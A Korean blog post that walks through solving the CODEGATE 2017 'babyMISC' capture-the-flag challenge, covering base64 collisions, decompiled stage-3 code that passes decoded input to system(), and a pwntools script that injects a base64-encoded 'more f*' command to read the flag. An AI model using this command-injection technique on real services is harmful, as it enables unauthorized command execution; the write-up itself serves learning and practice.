ipwn

[CODEGATE 2017] babyMISC 본문

CTF's/CODEGATE

[CODEGATE 2017] babyMISC

ipwn 2018. 1. 31. 15:41

이번 문제는 CODEGATE 2017에 나왔던 babyMISC문제이다.


github.com/ctfs에서 찾아보니 pwn분야에 들어가있었는데 그냥 말그대로 MISC인 것 같다.


난이도도 생각보다 꽤 쉬웠다.


바로 IDA로 코드를 분석해보겠다.



main함수에서 stage별로 함수를 호출하는 것 같다.


바로 함수들을 첫 스테이지부터 확인해보겠다.



일단 s의 문자열은 bash64로 encoding이 되어있고, scanf으로 입력을 받는다.


그리고 입력받은 문자열과 s는 달라야하고, 둘의 길이는 같아야 한다.


이건 base64 충돌을 이용하면 간단히 해결할 수 있는 문제이다.


맨 마지막 g부분을 h~j로 바꿔주거나, =부분을 A로 바꿔주면 스테이지가 통과된다.



2스테이지는 input을 두 개 입력받는다.


첫 번째 input과 두 번째 인풋은 길이도 달라야 하며, 값도 달라야 하지만 decoding된 값은 같아야 한다.


이건base64 table에서 A는 NULL이므로


input 1 : A

input 2 : AA


혹은 


input 1 : =

input 2 : ==


혹은 그냥 아무 값이나 encoding해서 나온 값에서 '=' 나 'A'를 하나 붙이거나 혹은 =를 빼버려도 풀린다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
signed __int64 sub_401142()
{
  signed __int64 result; // rax
  char *v1; // rax
  const char *v2; // [rsp+8h] [rbp-E8h]
  char src; // [rsp+10h] [rbp-E0h]
  __int64 dest; // [rsp+80h] [rbp-70h]
  char v5; // [rsp+88h] [rbp-68h]
  unsigned __int64 v6; // [rsp+E8h] [rbp-8h]
 
  v6 = __readfsqword(0x28u);
  setbuf(stdout, 0LL);
  puts("[*] -- STAGE 03 ----------");
  puts("[+] Ok, It's easy task to you, isn't it? :)");
  puts("[+] So I will give a chance to execute one command! :)");
  puts("[*] Input > ");
  setbuf(stdin, 0LL);
  __isoc99_scanf("%99s"&src);
  sub_400D35(&src, (void **)&v2);
  if ( (unsigned int)sub_400E0B(v2) )
  {
    puts("[*] NoNoNo");
    result = 0LL;
  }
  else
  {
    dest = ' n- ohce';
    v5 = 0;
    strcat((char *)&dest, &src);
    v1 = (char *)&dest + strlen((const char *)&dest);
    *(_QWORD *)v1 = '6esab | ';
    *((_QWORD *)v1 + 1= 's | d- 4';
    *((_WORD *)v1 + 8= 'h';
    printf("# %99s\n"&dest);
    system((const char *)&dest);
    result = 1LL;
  }
  return result;
}



스테이지 3이다.


먼저 input을 decoding을 하고, 여러 문자들을 필터링을 하는 단계를 거쳐서 decoding 된 값을 system함수로 실행한다.



필터링은 이렇게 거쳐지는데 필터링을 하는게 매우 많다.


얼핏 보면 shell을 가져오는 것이 불가능 하지만 command injection을 통해 쉘을 열고 그 뒤에 


리다이렉션 시키고 하다 보면, 어찌어찌 할 수는 있다고 한다. 


하지만 우리는 여기서 flag만 읽어오면 그만이기에 flag를 읽어오자.


그냥 less fl*, head fl*, more fl* ..등등 여러 방법이 있을 것이다.


이 값들을 encoding한 값을 넘겨주기만 flag를 읽어올 수 있을 것이다.


python script로 flag를 읽어오겠다.



성공적으로 flag를 읽어왔다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
 
= remote( 'localhost'9004 )
 
p.recv(1024)
p.sendline('TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5Oij=')
print '[*] stage 1 clear'
 
p.recv(1024)
p.sendline('YQ')
 
p.recv(1024)
p.sendline('YQ=')
print '[*] stage 2 clear'
 
p.recvuntil('>')
p.recv(1024)
p.sendline('bW9yZSBmKg==')
p.recv(1024)
print '[*] stage 3 clear'
 
print p.recv(1024)



간단히 풀리는 문제였다.


올 해 CODEGATE도 어렵지 않았으면..ㅠㅠ

'CTF's > CODEGATE' 카테고리의 다른 글

[CODEGATE 2016] bugbug  (0) 2018.03.26
[CODEGATE 2018] BaskinRobins31  (5) 2018.03.02
[CODEGATE 2014] nuclear  (0) 2018.02.02
[CODEGATE 2014] angry_doraemon  (0) 2018.01.30
[CODEGATE 2017] babypwn  (0) 2018.01.30
Comments